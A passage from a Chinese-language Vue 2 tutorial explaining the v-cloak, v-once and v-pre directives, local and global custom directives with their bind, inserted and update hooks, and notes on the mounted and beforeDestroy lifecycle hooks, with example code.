3
4
5
6
7
8
9
10
11
12
13
14
15
<div id="root">
<h2>v-cloak</h2>
<h2 v-cloak>{{name}}</h2>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>

<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '极客堂'
}
})
</script>
  • v-once :
    v-once所在节点在初次动态渲染后,就视为静态内容了。

以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<div id="root">
<h2>v-once</h2>
<h2 v-once>初始化的n值是:{{n}}</h2>
<button @click="n++">n+1</button>
</div>


<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '极客堂',
n: 1
}
})
</script>
  • v-pre :
    跳过其所在节点的编译渲染过程。
    可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

自定义指令

可以在directives: {}中定义自定义指令,默认写法为:'function-name': function(element, binding){}
其中function-name为自定义指令名称,可以在模板中使用v-function-name来使用,
第一个参数element表示指令所属的元素,第二个参数binding中存储了指令的value等信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!--
需求1:定义一个v-big指令,和v-text功能类似,会返回绑定数值的平方。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input预算内宿默认获取焦点。
-->
<div id="root">
<h2>v-directives自定义指令</h2>
<h2>当前的n值是:{{n}}</h2>
<h2>n的10倍:<span v-big-number="n"></span> </h2>
<h2>n的平方:<span v-square="n"></span> </h2>
<button @click="n++">n+1</button>
<hr>
<input type="text" v-fbind:value="n">
</div>


<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n: 1
},
directives: {
//big函数调用时机:
// 1. 指令与元素成功绑定时(初始化)
// 2. 指令所在的模板被重新解析时
square(element, binding){
// console.log(element, binding.value) // span 1
// console.log(element instanceof HTMLElement ) // true
element.innerText = binding.value * binding.value
},
// 正常写法如下,也可以省略function简写成 'big-number'(element, binding){}
// Vue推荐使用“-”来连接指令之间的多个单词,不推荐使用驼峰法。
'big-number': function(element, binding){
// console.log(element, binding.value) // span 1
// console.log(element instanceof HTMLElement ) // true
element.innerText = binding.value * 10
},
// fbind(element, binding){
// element.value = binding.value
// element.focus() // 这里写成函数的方式就实现不了这个功能了。
// }
fbind:{
// 下面回调函数中的this都是Window
// 指令与元素成功绑定时(一上来初始化)
bind(element, binding){
console.log('bind')
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding){
console.log('inserted')
element.focus()
},
// 指令所在模板被重新解析时
update(element, binding){
console.log('update')
element.focus()
element.value = binding.value
}
}
}
})
</script>

需要注意的是上面的方法为局部的自定义指令,不能够在不同的Vue实例中使用。
如果在不同实例中都可以使用需要定义成全局指令:
Vue.directive(指令名, 配置对象)
或者Vue.directive(指令名, 回调函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 全局的自定义指令
Vue.directive('gfbind', {
// 下面回调函数中的this都是Window
// 指令与元素成功绑定时(一上来初始化)
bind(element, binding){
console.log('bind')
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding){
console.log('inserted')
element.focus()
},
// 指令所在模板被重新解析时
update(element, binding){
console.log('update')
element.focus()
element.value = binding.value
}
})

配置对象中常用的3个回调函数:

  1. bind:指令与元素成功绑定时调用;
  2. inserted: 指令所在的元素被插入页面时调用;
  3. update:指令所在模板结构被重新解析时调用。

注意:

  • 指令定义时不加v-,但使用时要加v-
  • 指令名如果是多个单词,要使用kebab-case这种命名方式,不要使用camelCase命名

生命周期

  1. mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
  2. beforeDestroy:清楚定时器、解绑自定义事件、取消订阅消息等。【收尾工作】

关于销毁Vue实例

  1. 销毁后借助Vue开发者工具看不到任何信息;
  2. 销毁后自定义事件会失效,但原生DOM事件依然有效;
  3. 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会在触发更新流程了。